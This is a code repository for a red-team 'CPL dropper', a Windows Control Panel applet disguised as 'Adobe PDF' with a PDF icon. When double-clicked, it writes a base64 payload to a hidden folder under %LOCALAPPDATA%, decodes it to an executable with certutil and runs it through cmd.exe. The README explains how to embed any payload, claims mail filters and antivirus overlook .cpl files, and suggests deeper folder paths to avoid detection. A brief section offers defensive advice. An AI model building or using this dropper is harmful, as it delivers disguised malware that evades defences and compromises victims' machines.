├── ControlPanelApplet.cpp ├── ControlPanelApplet.def ├── ControlPanelApplet.h ├── ControlPanelApplet.rc ├── Data.h ├── PDF1.ico ├── README.md ├── resource.h └── targetver.h /ControlPanelApplet.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include "stdafx.h" 3 | #include 4 | #include 5 | #include 6 | #include "ControlPanelApplet.h" 7 | #include "Data.h" 8 | #include 9 | using namespace std; 10 | 11 | namespace ControlPanelApplet 12 | { 13 | CControlPanelApplet* CControlPanelApplet::m_pThis = NULL; 14 | 15 | CControlPanelApplet::CControlPanelApplet() 16 | { 17 | m_pThis = this; 18 | } 19 | 20 | // Callback members 21 | LONG APIENTRY CControlPanelApplet::CPlApplet(HWND hWnd, UINT uMsg, LONG lParam1, LONG lParam2) 22 | { 23 | CControlPanelApplet* pApplet = m_pThis; 24 | 25 | switch (uMsg) 26 | { 27 | case CPL_DBLCLK: 28 | return pApplet->OnDblclk(hWnd, lParam1, lParam2); 29 | 30 | case CPL_EXIT: 31 | return 0; 32 | 33 | case CPL_GETCOUNT: 34 | return 1; 35 | 36 | case CPL_INIT: 37 | return 1; 38 | 39 | case CPL_INQUIRE: 40 | return pApplet->OnInquire(lParam1, (CPLINFO*)lParam2); 41 | 42 | case CPL_NEWINQUIRE: 43 | return pApplet->OnNewInquire(lParam1, (NEWCPLINFO*)lParam2); 44 | 45 | case CPL_STOP: 46 | return 1; 47 | 48 | case CPL_STARTWPARMS: 49 | return pApplet->OnDblclk(hWnd, lParam1, lParam2); 50 | 51 | default: 52 | break; 53 | } 54 | return 1; 55 | } 56 | 57 | LONG CControlPanelApplet::OnInquire(UINT uAppNum, CPLINFO* pInfo) 58 | { 59 | pInfo->idIcon = IDI_ICON1; 60 | pInfo->lData = 0; 61 | pInfo->idName = m_nNameID; 62 | pInfo->idInfo = m_nDescID; 63 | 64 | return 0; 65 | } 66 | 67 | LONG CControlPanelApplet::OnNewInquire(UINT uAppNum, NEWCPLINFO* pInfo) 68 | { 69 | pInfo->dwSize = (DWORD)sizeof(NEWCPLINFO); 70 | pInfo->dwFlags = 0; 71 | pInfo->dwHelpContext = 0; 72 | pInfo->lData = 0; 73 | pInfo->szHelpFile[ 0 ] = '\0'; 74 | 75 | LoadString( NULL, m_nNameID, pInfo->szName, 32 ); 76 | LoadString( NULL, m_nDescID, pInfo->szInfo, 64 ); 77 | 78 | return 1; 79 | } 80 | 81 | LONG CControlPanelApplet::OnDblclk(HWND hWnd, UINT uAppNum, LONG lData) 82 | { 83 | 84 | //Write base64 payload to file 85 | char* appdatapath = getenv("LOCALAPPDATA"); 86 | CHAR base64path[100]; 87 | CHAR targetpath[100]; 88 | strcpy(base64path, appdatapath); 89 | strcat(base64path, "\\Microsoft\\Windows\\1033\\YourEncodedPayload.1"); //base64 encoded 90 | strcpy(targetpath, appdatapath); 91 | strcat(targetpath, "\\Microsoft\\Windows\\1033\\YourDecodedPayload.exe"); //base64 decoded and converted to exe 92 | 93 | FILE* fp = fopen(base64path, "wb"); 94 | if (fp == NULL) { 95 | return -1; 96 | } 97 | // write the entire array to the file without. 98 | fwrite(base64, sizeof(base64[0]), sizeof(base64), fp); 99 | fclose(fp); 100 | 101 | //Base64 decode into target exe using certutil 102 | STARTUPINFOA si; 103 | PROCESS_INFORMATION pi; 104 | si.wShowWindow = SW_SHOW; 105 | ZeroMemory(&si, sizeof(si)); 106 | si.cb = sizeof(si); 107 | ZeroMemory(&pi, sizeof(pi)); 108 | char* winpath = getenv("WINDIR"); 109 | 110 | CHAR certutil_path[100]; 111 | strcpy(certutil_path, winpath); 112 | strcat(certutil_path, "\\sYsTem32\\cerTUTil.exe"); 113 | CHAR certutil_args[500]; 114 | strcpy(certutil_args, " -decode "); 115 | strcat(certutil_args, base64path); 116 | strcat(certutil_args, " "); 117 | strcat(certutil_args, targetpath); 118 | 119 | if (CreateProcessA(&certutil_path[0], &certutil_args[0], 0, 0, FALSE, 0, 0, 0, &si, &pi)) 120 | { 121 | WaitForSingleObject(pi.hProcess, 10000); 122 | CloseHandle(pi.hProcess); 123 | CloseHandle(pi.hThread); 124 | } 125 | 126 | //Run decoded app 127 | CHAR cmd_path[100]; 128 | strcpy(cmd_path, winpath); 129 | strcat(cmd_path, "\\sYsTem32\\cMd.exe"); 130 | CHAR cmd_args[500]; 131 | strcpy(cmd_args, " /c "); 132 | strcat(cmd_args, targetpath); 133 | 134 | if (CreateProcessA(&cmd_path[0], &cmd_args[0], 0, 0, FALSE, 0, 0, 0, &si, &pi)) 135 | { 136 | WaitForSingleObject(pi.hProcess, 10000); 137 | CloseHandle(pi.hProcess); 138 | CloseHandle(pi.hThread); 139 | } 140 | 141 | return 0; 142 | } 143 | } -------------------------------------------------------------------------------- /ControlPanelApplet.def: -------------------------------------------------------------------------------- 1 | LIBRARY "ControlPanelApplet" 2 | 3 | EXPORTS CPlApplet -------------------------------------------------------------------------------- /ControlPanelApplet.h: -------------------------------------------------------------------------------- 1 | #include "resource.h" // main symbols 2 | #include "cpl.h" 3 | 4 | namespace ControlPanelApplet 5 | { 6 | class CControlPanelApplet : public CWinApp 7 | { 8 | public: 9 | CControlPanelApplet(); 10 | static LONG APIENTRY CPlApplet(HWND hWnd, UINT uMsg, LONG lParam1, LONG lParam2); 11 | 12 | private: 13 | static CControlPanelApplet * m_pThis; 14 | LONG OnDblclk(HWND hWnd, UINT uAppNum, LONG lData); 15 | LONG OnExit(); 16 | LONG OnGetCount(); 17 | LONG OnInit(); 18 | LONG OnInquire(UINT uAppNum, CPLINFO* pInfo); 19 | LONG OnNewInquire(UINT uAppNum, NEWCPLINFO* pInfo); 20 | LONG OnStop(UINT uAppNum, LONG lData); 21 | }; 22 | } -------------------------------------------------------------------------------- /ControlPanelApplet.rc: -------------------------------------------------------------------------------- 1 | // Microsoft Visual C++ generated resource script. 2 | // 3 | #include "resource.h" 4 | 5 | #define APSTUDIO_READONLY_SYMBOLS 6 | ///////////////////////////////////////////////////////////////////////////// 7 | // 8 | // Generated from the TEXTINCLUDE 2 resource. 9 | // 10 | #include "afxres.h" 11 | 12 | ///////////////////////////////////////////////////////////////////////////// 13 | #undef APSTUDIO_READONLY_SYMBOLS 14 | 15 | ///////////////////////////////////////////////////////////////////////////// 16 | // English (U.S.) resources 17 | 18 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU) 19 | #ifdef _WIN32 20 | LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US 21 | #pragma code_page(1252) 22 | #endif //_WIN32 23 | 24 | #ifdef APSTUDIO_INVOKED 25 | ///////////////////////////////////////////////////////////////////////////// 26 | // 27 | // TEXTINCLUDE 28 | // 29 | 30 | 1 TEXTINCLUDE 31 | BEGIN 32 | "resource.h\0" 33 | END 34 | 35 | 2 TEXTINCLUDE 36 | BEGIN 37 | "#include ""afxres.h""\r\n" 38 | "\0" 39 | END 40 | 41 | 3 TEXTINCLUDE 42 | BEGIN 43 | "\r\n" 44 | "\0" 45 | END 46 | 47 | #endif // APSTUDIO_INVOKED 48 | 49 | 50 | ///////////////////////////////////////////////////////////////////////////// 51 | // 52 | // Icon 53 | // 54 | 55 | // Icon with lowest ID value placed first to ensure application icon 56 | // remains consistent on all systems. 57 | MAIN_ICON ICON "PDF1.ico" 58 | //IDI_ICON1 ICON "PDF1.ico" 59 | 60 | ///////////////////////////////////////////////////////////////////////////// 61 | // 62 | // String Table 63 | // 64 | 65 | STRINGTABLE 66 | BEGIN 67 | m_nNameID "Adobe PDF" 68 | m_nDescID "Adobe PDF" 69 | END 70 | 71 | #endif // English (U.S.) resources 72 | ///////////////////////////////////////////////////////////////////////////// 73 | 74 | 75 | 76 | #ifndef APSTUDIO_INVOKED 77 | ///////////////////////////////////////////////////////////////////////////// 78 | // 79 | // Generated from the TEXTINCLUDE 3 resource. 80 | // 81 | 82 | 83 | ///////////////////////////////////////////////////////////////////////////// 84 | #endif // not APSTUDIO_INVOKED 85 | 86 | -------------------------------------------------------------------------------- /Data.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | using namespace std; 5 | 6 | //Put your base64 encoded payload here 7 | static const char base64[] = {'A'}; -------------------------------------------------------------------------------- /PDF1.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TestingPens/CPLDropper/68c57122a32275927afb3bc25ec00205a26a492c/PDF1.ico -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CPL Dropper 2 | A Control Panel Applet dropper project. It has a high success rate on engagements since nobody cares about .CPL files and you can just double click them. You'll need to modify the base64 string array within Data.h to include your payload and the OnDblclk function in ControlPanelApplet.cpp to modify your output files. Essentially, the application writes your base64 encoded array to file and then uses certutil to base64 decode it. It uses cmd.exe to run it thereafter. I take no responsibility for how this is used, so be nice :) 3 | 4 | ## Red Team Goals 5 | Control Panel Applets (.cpl) are one of those older Windows file extensions which exist but vanish from the limelight as latest and greatest techniques come and go, yet it remains. When you open your Control Panel in Windows, those are in fact DLL files called Control Panel Applets. The difference is that you can have functions which trigger upon doubleclick, unlike a DLL's entry points. Most of the time I've found that mail servers don't care about CPL files and Anti-Virus doesn't care about it either. 6 | 7 | Generate your .exe payload and convert it into a base64 encoded array. I have a builder I'm working on which will automate this, but for now here's a bash one-liner to help: 8 | ``` 9 | cat payload.exe | base64 | sed -e 's/\(.\)/\1,/g' | sed 's/\,/\x27\,\x27/g' | rev | cut -c 3- | rev | sed -e "s/^/{\x27/g" | sed -e '$s/$/}/' > base64_encoded_array.txt 10 | ``` 11 | Add this array as the value for base64[] within Data.h. Modify base64path and targetpath variables within the OnDBLclick function in ControlPanelApplet.cpp to which ever path and filename you like. What I've noticed is that Anti-Virus is very focussed on %localappdata% but if you hide your stuff further inside other folders it will be ignored. 12 | Compile and change the extension to .cpl. Your payload is now ready for your red team campaign. 13 | ## Blue Team Goals 14 | When I first started playing with this extension a few years ago, the first thing that I noticed is that most mail server don't have any rules to process .cpl attachments. Even GMail allowed cpl files through for a while, until recently (crazy right?). The very first thing that I did was frantically run to our IT guy and say "Dude you have to block this extension now!" 15 | 16 | You should make sure that these file extensions cannot get through your mail server. Moreover, increase the difficulty of execution by using AppLocker rules which only allow signed binaries. Before red teamers flame me for this comment, yes I know it's not too hard to sign your payloads to get past this...but defense in layers right? :) 17 | 18 | For more information, check out Oddvar's cool article on this (big fan): https://oddvar.moe/2017/12/13/harden-windows-with-applocker-based-on-case-study-part-1/ 19 | 20 | Please contribute to this one and help me make this more awesome. Thanks friends. 21 | -------------------------------------------------------------------------------- /resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Visual C++ generated include file. 3 | // Used by ControlPanelApplet.rc 4 | // 5 | #define m_nNameID 101 6 | #define m_nDescID 102 7 | #define IDI_ICON1 102 8 | #define MAIN_ICON 102 9 | 10 | // Next default values for new objects 11 | // 12 | #ifdef APSTUDIO_INVOKED 13 | #ifndef APSTUDIO_READONLY_SYMBOLS 14 | #define _APS_NEXT_RESOURCE_VALUE 104 15 | #define _APS_NEXT_COMMAND_VALUE 40001 16 | #define _APS_NEXT_CONTROL_VALUE 1001 17 | #define _APS_NEXT_SYMED_VALUE 101 18 | #endif 19 | #endif 20 | -------------------------------------------------------------------------------- /targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // The following macros define the minimum required platform. The minimum required platform 4 | // is the earliest version of Windows, Internet Explorer etc. that has the necessary features to run 5 | // your application. The macros work by enabling all features available on platform versions up to and 6 | // including the version specified. 7 | 8 | // Modify the following defines if you have to target a platform prior to the ones specified below. 9 | // Refer to MSDN for the latest info on corresponding values for different platforms. 10 | #ifndef WINVER // Specifies that the minimum required platform is Windows Vista. 11 | #define WINVER 0x0600 // Change this to the appropriate value to target other versions of Windows. 12 | #endif 13 | 14 | #ifndef _WIN32_WINNT // Specifies that the minimum required platform is Windows Vista. 15 | #define _WIN32_WINNT 0x0600 // Change this to the appropriate value to target other versions of Windows. 16 | #endif 17 | 18 | #ifndef _WIN32_WINDOWS // Specifies that the minimum required platform is Windows 98. 19 | #define _WIN32_WINDOWS 0x0410 // Change this to the appropriate value to target Windows Me or later. 20 | #endif 21 | 22 | #ifndef _WIN32_IE // Specifies that the minimum required platform is Internet Explorer 7.0. 23 | #define _WIN32_IE 0x0700 // Change this to the appropriate value to target other versions of IE. 24 | #endif 25 | --------------------------------------------------------------------------------